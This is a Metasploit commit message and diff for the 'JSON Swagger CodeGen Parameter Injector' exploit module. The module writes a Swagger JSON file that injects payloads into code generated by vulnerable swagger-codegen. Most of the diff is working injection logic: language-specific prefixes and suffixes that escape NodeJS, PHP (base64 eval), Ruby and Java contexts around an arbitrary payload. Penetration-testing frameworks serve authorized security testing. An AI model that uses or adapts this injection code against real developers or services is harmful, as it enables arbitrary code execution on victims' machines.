Raise if payload.arch doesn't match expected

This is necessary when payload is a generic/* since we can't actually
figure out what we need the prefix/suffix to be because the generics are
a pain to extract the arch/platform info out of.

Also remove some unnecessary options.

Author: egypt

modules/exploits/multi/fileformat/swagger_param_inject.rb

@@ -24,14 +24,16 @@ def initialize(info = {})
     super(update_info(info,
       'Name'           => 'JSON Swagger CodeGen Parameter Injector',
       'Description'    => %q{
-        This module generates a Open API Specification 2.0 (Swagger) compliant json
-        document that includes payload insertion points in parameters.
+        This module generates a Open API Specification 2.0 (Swagger) compliant
+        json document that includes payload insertion points in parameters.
 
-        In order for the payload to be executed, an attacker must convince someone to
-        generate code from a specially modified swagger.json file within a vulnerable swagger-codgen
-        appliance/container/api/service, and then to execute that generated code (or include it into
-        software which will later be executed by another victim). By doing so, an attacker can execute
-        arbitrary code as the victim user.  (The same vulnerability exists in the YAML format)
+        In order for the payload to be executed, an attacker must convince
+        someone to generate code from a specially modified swagger.json file
+        within a vulnerable swagger-codgen appliance/container/api/service,
+        and then to execute that generated code (or include it into software
+        which will later be executed by another victim). By doing so, an
+        attacker can execute arbitrary code as the victim user. The same
+        vulnerability exists in the YAML format.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -45,22 +47,19 @@ def initialize(info = {})
         ],
       'Platform'       => %w{ nodejs php java ruby },
       'Arch'           => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
-      'Targets'        => [
-        ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
-        ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
-        ['Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ],
-        ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
+      'Targets'        =>
+        [
+          ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
+          ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
+          ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
+          ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
         ],
       'DisclosureDate' => 'Jun 23 2016',
       'DefaultTarget'  => 0))
 
     register_options(
       [
         OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
-        OptAddress.new('LHOST', [true, 'Server IP or hostname that the swagger codegen will callback to.']),
-        OptPort.new('LPORT', [true, 'Server port.']),
-        OptString.new('PAYLOAD_PREFIX', [false, 'Payload Injection prefix', '']),
-        OptString.new('PAYLOAD_SUFFIX', [false, 'Payload Injection suffix', '']),
         OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
         OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
         OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
@@ -126,45 +125,37 @@ def swagger
   end
 
   def exploit
-    if datastore['PAYLOAD']
-      case payload.arch[0]
-      when 'nodejs'
-        payload_loc = 'PATH'
-        payload_prefix = "/a');};};return exports;}));"
-        payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
-        wrapped_payload = payload_prefix +
-          payload.encoded +
-          payload_suffix
-        datastore[payload_loc] = wrapped_payload.gsub(/"/, '\\"')
-      when 'php'
-        payload_loc = 'INFO_DESCRIPTION'
-        payload_prefix = "*/ namespace foobar; eval(base64_decode('"
-        payload_suffix = "')); /*"
-        wrapped_payload = payload_prefix +
-          Base64.strict_encode64(payload.encoded) +
-          payload_suffix
-        datastore[payload_loc] = wrapped_payload
-      when 'ruby'
-        payload_loc = 'INFO_TITLE'
-        payload_prefix = "=end "
-        payload_suffix = "=begin "
-        wrapped_payload = payload_prefix +
-          payload.encoded +
-          payload_suffix
-        datastore[payload_loc] = wrapped_payload
-      when 'java'
-        payload_loc = 'PATH'
-        payload_prefix = %q{a\\\"; "}
-        p = payload.encoded.gsub(/<%@page import="/, 'import ')
-        p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
-        p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
-        wrapped_payload = datastore['PAYLOAD_PREFIX'] + p
-        datastore[payload_loc] = wrapped_payload
-      end
+    case payload.arch[0]
+    when 'nodejs'
+      payload_loc = 'PATH'
+      payload_prefix = "/a');};};return exports;}));"
+      payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
+      wrapped_payload = payload_prefix + payload.encoded + payload_suffix
+    when 'php'
+      payload_loc = 'INFO_DESCRIPTION'
+      payload_prefix = "*/ namespace foobar; eval(base64_decode('"
+      payload_suffix = "')); /*"
+      wrapped_payload = payload_prefix +
+        Base64.strict_encode64(payload.encoded) +
+        payload_suffix
+    when 'ruby'
+      payload_loc = 'INFO_TITLE'
+      payload_prefix = "=end "
+      payload_suffix = "=begin "
+      wrapped_payload = payload_prefix + payload.encoded + payload_suffix
+    when 'java'
+      payload_loc = 'PATH'
+      payload_prefix = %q{a\\\"; "}
+      p = payload.encoded.gsub(/<%@page import="/, 'import ')
+      p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
+      p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
+      wrapped_payload = payload_prefix + p
     else
-      print_error("No payload defined!")
+      raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
     end
 
+    datastore[payload_loc] = wrapped_payload
+
     print_status swagger
     file_create swagger
   end